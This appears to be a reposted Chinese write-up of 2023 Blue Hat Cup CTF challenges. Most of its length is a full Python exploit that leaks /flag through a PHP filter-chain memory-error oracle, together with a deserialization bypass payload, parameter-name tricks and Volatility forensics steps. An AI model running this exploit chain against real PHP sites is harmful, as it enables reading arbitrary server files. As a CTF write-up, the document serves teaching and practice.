2023蓝帽杯初赛ctf部分题目

news2025/1/18 20:11:06

Web

LovePHP

打开网站环境,发现显示出源码

 来可以看到php版本是7.4.33

简单分析了下,主要是道反序列化的题其中发现get传入的参数里有_号是非法字符,如果直接传值传入my_secret.flag,会被php处理掉

绕过 _ 的方法    对于__可以使用[,空格,+.。都会被处理为_;  这是因为当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_ 

所以用my]secret.flag来传就可以,之后就是看反序列化了,这里主要关注的是需要绕过wakeup方法,在一篇文章中发现了可以绕过php版本7.4.33的wakeup函数

使用C绕过       当开头添加为c的时候,只能执行destruct函数,无法添加任何方法所以我们直接用C:8:"Saferman":0:{}就可以了

PHP反序列化中wakeup()绕过总结 – fushulingのblog

之后确发现无法打印出flag,然后一直再试其他的也没有找到回显的地方,最后在file函数上找到了方法

侧信道攻击     侧信道其实就是根据一个二元或者多元条件关系差,可以让我们以”盲注”的形式,去获取某些信息的一种方法,测信道广义上是非常广泛的。在web题目中他们通常以盲注的形式出现。而这里的file函数里面是可以用filter伪协议的

我就直接利用大佬的脚本搞了一下,通过构造fliter链子,不断的请求内存区域的同一块资源区,通过判断彼此之间服务器响应的时间差值,来得到最终的flag

Webの侧信道初步认识 | Boogiepop Doesn't Laugh (boogipop.com)

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
   return '|'.join(x)

def err(s):
   print(s)
   raise ValueError

def req(s):
   data = f'php://filter/{s}/resource=/flag'
   return requests.get('http:///?my[secret.flag=C:8:"Saferman":0:{}&secret='+data).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
   payload = join(*[blow_up_utf32]*n)
   if req(f'{header}|{payload}'):
      baseline_blowup = n
      break
else:
   err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
   req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
   err('something wrong')
if j[0] == False:
   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
   header = f'convert.base64-encode|convert.base64-encode'
else:
   err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
   global flip, r2, r4
   o = []
   chunk = n // 2
   if chunk % 2 == 1: o.append(r4)
   o.extend([flip, r4] * (chunk // 2))
   if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
   return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
   if not req(f'{prefix}|dechunk|{blow_up_inf}'):
      # a-f A-F 0-9
      if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
         # a-e
         for n in range(5):
            if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'edcba'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
         # A-E
         for n in range(5):
            if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'EDCBA'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
         return '*'
      elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # f
         return 'f'
      elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # F
         return 'F'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
      # n-s N-S
      if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
         # n-r
         for n in range(5):
            if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'rqpon'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
         # N-R
         for n in range(5):
            if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'RQPON'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # s
         return 's'
      elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # S
         return 'S'
      else:
         err('something wrong')
   elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # i j k
      if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'k'
      elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'j'
      elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'i'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # I J K
      if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'K'
      elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'J'
      elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'I'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # v w x
      if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'x'
      elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'w'
      elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'v'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # V W X
      if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'X'
      elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'W'
      elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'V'
      else:
         err('something wrong')
   elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # Z
      return 'Z'
   elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # z
      return 'z'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # M
      return 'M'
   elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # m
      return 'm'
   elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # y
      return 'y'
   elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # Y
      return 'Y'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # l
      return 'l'
   elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # L
      return 'L'
   elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # h
      return 'h'
   elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # H
      return 'H'
   elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # u
      return 'u'
   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # U
      return 'U'
   elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # g
      return 'g'
   elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # G
      return 'G'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # t
      return 't'
   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # T
      return 'T'
   else:
      err('something wrong')

print()
for i in range(100):
   prefix = f'{header}|{get_nth(i)}'
   letter = find_letter(prefix)
   # it's a number! check base64
   if letter == '*':
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
      s = find_letter(prefix)
      if s == 'M':
         # 0 - 3
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '0'
         elif ss in 'STUVWX':
            letter = '1'
         elif ss in 'ijklmn':
            letter = '2'
         elif ss in 'yz*':
            letter = '3'
         else:
            err(f'bad num ({ss})')
      elif s == 'N':
         # 4 - 7
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '4'
         elif ss in 'STUVWX':
            letter = '5'
         elif ss in 'ijklmn':
            letter = '6'
         elif ss in 'yz*':
            letter = '7'
         else:
            err(f'bad num ({ss})')
      elif s == 'O':
         # 8 - 9
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '8'
         elif ss in 'STUVWX':
            letter = '9'
         else:
            err(f'bad num ({ss})')
      else:
         err('wtf')

   print(end=letter)
   o += letter
   sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

最后跑一下就出来了

Reverse

Story

属于是非预期解,看这个src.cpp文件

打开后在里面搜索发现到了flag,两部分拼接起来就是

Misc

 ez_Forensics

一个镜像内存,用passwirekit直接梭内存镜像,发现了前半段flag

然后我们就需要找到后半段flag,先用弘联的内存工具看看有没有什么信息,这里在环境变量中找到一个secret,怀疑是aes加密

 内存镜像的常规操作看看有哪些文件

volatility.exe -f mem.raw --profile=Win7SP1x64 filescan | findstr -E "txt"

我们看一下它电脑桌面上有哪些东西:

volatility.exe -f mem.raw --profile=Win7SP1x64 filescan | findstr  "Desktop"

提取出上边的table.zip、readme.txt和key.rsmr(Mouse and Keyboard Recorder的文件)

通过 dumpfiles 命令可以将指定文件导出(以readme.txt为例):

volatility.exe -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e434590 -D ./

vol.py -f /home/leo/桌面/volatility-master/mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e434590 -D ./

将readme.txt压缩发现crc32值和table.zip中的readme.txt值不同,猜测肯定是修改了readme.txt文件中的内容,于是我们看一下曾经编辑过哪些文件,查看内存中记事本的内容volatility.exe -f mem.raw --profile=Win7SP1x64 editbox

发现undoBuf(撤销缓冲区):This is table to get the key修改为了Do you think I will leave the content of readme.txt for you to make the know-plaintext attack?

因此将readme.txt内容修改为This is table to get the key,再将其压缩为readme.zip

用明文攻击解密得到未加密压缩包(这里一开始一直不对,后面只有用360zip压缩才可以用ARCHPR进行文明攻击)

里面有一个table

用十六进制编辑器查看一下,很明显是一张PNG图片

修改后缀得到

用google下载Mouse and Keyboard Recorder并且用它打开key.rsmr文件,同时打开电脑的画图工具,让Mouse and Keyboard Recorder工具在上边画出鼠标记录的信息

根据画圈的顺序,再参考table.png,得到key是a91e37bf

最后来一个aes解密即可得到剩下一部分的flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/943857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝牙模块产品认证-国际市场准入准则之加拿大IC认证基础知识

蓝牙模块产品认证-国际市场准入准则之加拿大IC认证基础知识 一&#xff1a;前言加拿大IC介绍 1.1&#xff1a;IC更名 2016年3月加拿大工业部(IC, Industry Canada)正式更名为加拿大创新、科学和经济发展 部(ISED, Innovation, Science and Economic Development Canada) ISED…

客观-【2 线性表】

关键字&#xff1a; 求一阶导数、建立有序单链表时间复杂度、静态链表的指针、链表查找数据x的序号

五、升压电路boost

开关导通时&#xff1a;输入电压对电感充电&#xff0c;形成回路&#xff0c;vi—>电感L—>开关管q&#xff1b; 开关断开时&#xff1a;输入的能量和电感能量一起向负载提供能量&#xff0c;形成回路&#xff0c;Vi—>L—>D—>C—>RL&#xff0c;因此输出电…

R语言APRIORI关联规则、K-MEANS均值聚类分析中药专利复方治疗用药规律网络可视化...

全文链接&#xff1a;http://tecdat.cn/?p30605 应用关联规则、聚类方法等数据挖掘技术分析治疗的中药专利复方组方配伍规律&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。 方法检索治疗中药专利复方&#xff0c;排除外用中药及中西药物合用的复方。最近我们…

前端 -- 基础 VSCode 工具生成骨架标签新增代码 解释详解

目录 文档类型声明标签 Lang 语言种类 字符集 文档类型声明标签 <!DOCTYPE> 文档类型声明&#xff0c;作用就是告诉浏览器 当前的页面是 使用哪种 HTML 版本 来显示的网页 HTML 版本也很多呀 &#xff0c;比如 &#xff1a; HTML5 ,HTML4&#xff0c;XHTML 等…

Android 手游聚合SDK小知识(一)

前言 回头想想&#xff0c;在安卓游戏SDK这个领域&#xff0c;我也呆了4年了&#xff0c;从啥都不懂的小菜鸟&#xff0c;逐渐靠自己不断学习&#xff0c;对这个行业也算有了一些理解&#xff0c;趁着最近有空&#xff0c;我想了一下&#xff0c;还是把最近这几年对游戏SDK聚合…

.jar中没有主清单属性【已解决】

原因 对jar解压缩&#xff0c;可以看到有一个MANIFEST.MF文件&#xff0c;此文件就是jar运行时要查找的清单目录。 主清单数据&#xff0c;就是我们要运行的主类即程序入口&#xff0c;缺少主清单属性&#xff0c;就不知道从哪开始运行。 因此我们需要对项目进行配置&#xff…

华为数通方向HCIP-DataCom H12-821题库(单选题:161-180)

第161题 以下关于 URPF(Unicast Reverse Path Forwarding) 的描述&#xff0c; 正确的是哪一项 A、部署了严格模式的 URPF&#xff0c;也能够可以同时部署允许匹配缺省路由模式 B、如果部署松散模式的 URPF&#xff0c;默认情况下不需要匹配明细路由 C、如果部署松散模式的…

[java基础知识复习] Java基础知识总结分享一

写代码&#xff1a; 1&#xff0c;明确需求。我要做什么&#xff1f; 2&#xff0c;分析思路。我要怎么做&#xff1f;1,2,3。 3&#xff0c;确定步骤。每一个思路部分用到哪些语句&#xff0c;方法&#xff0c;和对象。 4&#xff0c;代码实现。用具体的java语言代码把思路…

蓝牙模块产品认证-国际市场准入准则之欧美CE认证基础知识

蓝牙模块产品认证-国际市场准入准则之欧美CE认证基础知识 一&#xff1a;前言欧盟市场准入介绍 1.1&#xff1a;CE适用范围 欧盟(EU : European Union)有27成员国、其中大家熟知的国家有法国、德国、意大利、奥地利匈牙利、荷兰、波兰、西班牙、葡萄牙、希腊、丹麦、瑞典、比利…

接地气的开源读书讨论会!KCC@广州首次活动圆满结束

前期推文链接&#xff1a;KCC广州开源读书会&广州开源建设讨论会 More 2023 年 8 月 20 日&#xff0c;KCC广州在暨南大学石牌校区成功举办了其首场读书会 & 开源讨论会。这标志着 KCC广州首次正式步入公众视野&#xff0c;开展开源交流活动。 开源社副执行长、KCC广州…

信驰达CC2340系列低功耗蓝牙模块选型指南

自信驰达发布基于TI最新一代芯片研发的CC2340系列低功耗蓝牙模块后&#xff0c;您可能需要了解该系列模块之间有何差异&#xff0c;对您的项目来说&#xff0c;哪个模块最匹配且最有竞争力&#xff1f;本篇我们将对信驰达科技CC2340家族无线模块作对比分析&#xff0c;希望可以…

Ubuntu下安装nginx服务,实现通过URL读取ubuntu下图片

1.安装nginx包 sudo apt update sudo apt install nginx 2.安装完成后系统自动启动nginx sudo systemctl status nginx 查看nginx服务的状态 3.开启防火墙上的HTTP服务端口80 sudo ufw allow ‘Nginx HTTP’ 4.在浏览器输入 http://localhost 看到nginx的欢迎界面&#xff0c;…

C语言 - 结构体、结构体数组、结构体指针和结构体嵌套

结构体的意义 问题&#xff1a;学籍管理需要每个学生的下列数据&#xff1a;学号、姓名、性别、年龄、分数&#xff0c;请用 C 语言程序存储并处理一组学生的学籍。 单个学生学籍的数据结构&#xff1a; 学号&#xff08;num&#xff09;&#xff1a; int 型姓名&#xff08;…

【Day-22慢就是快】代码随想录-栈与队列-前K个高频元素

给定一个非空的整数数组&#xff0c;返回其中出现频率前 k 高的元素。 示例 1: 输入: nums [1,1,1,2,2,3], k 2输出: [1,2] 示例 2: 输入: nums [1], k 1输出: [1] ———————————————————————————————————————— 这道题目主要涉…

一文解析:共享WiFi项目到底怎么样呢?

大家都知道&#xff0c;现代社会已经离不开互联网的便利&#xff0c;而WiFi的普及更是提升了人们的生活质量和工作效率。然而&#xff0c;面对庞大的用户群体和不断增长的网络需求&#xff0c;无论人们到哪都是习惯性的连接上wifi。而共享WiFi的出现&#xff0c;正是满足了大众…

AtCoder Beginner Contest 317(D-G)

D - President (atcoder.jp) &#xff08;1&#xff09;题目大意 &#xff08;2&#xff09;解题思路 考虑到z最大不超过1e5&#xff0c;N最多不超过100&#xff0c;因此可以考虑用背包来写&#xff0c;dp[j]表示拿高桥拿j分最少需要花费多少个选民转换&#xff0c;最后把答案取…

div盒子标签

华子目录 什么是divdiv盒子模型盒模型标签属性&#xff1a;边框&#xff08;border&#xff09;怪异盒与标准盒模型 元素类型块级元素基础特性&#xff08;block&#xff09;行内元素基础特性&#xff08;inline&#xff09;行内块元素&#xff08;inline-block&#xff09;元素…

设备健康管理如何减少维护成本?

在现代制造和工业领域&#xff0c;设备健康管理已经成为降低维护成本和提高生产效率的关键策略。通过实时监测和数据分析&#xff0c;预测性维护等方法已经取得了显著的成果&#xff0c;帮助企业在维护方面实现成本效益和效率的提升。本文将以PreMaint设备数字化平台为例&#…

在线OJ的项目演示

目录 登录界面 注册界面 主界面 题目列表 编写代码界面 代码的编辑报错 正确编译 Mysql的表 登录界面 注册界面 主界面 题目列表 编写代码界面 代码的编辑报错 时间超时 空间过大 编译报错 正确编译 Mysql的表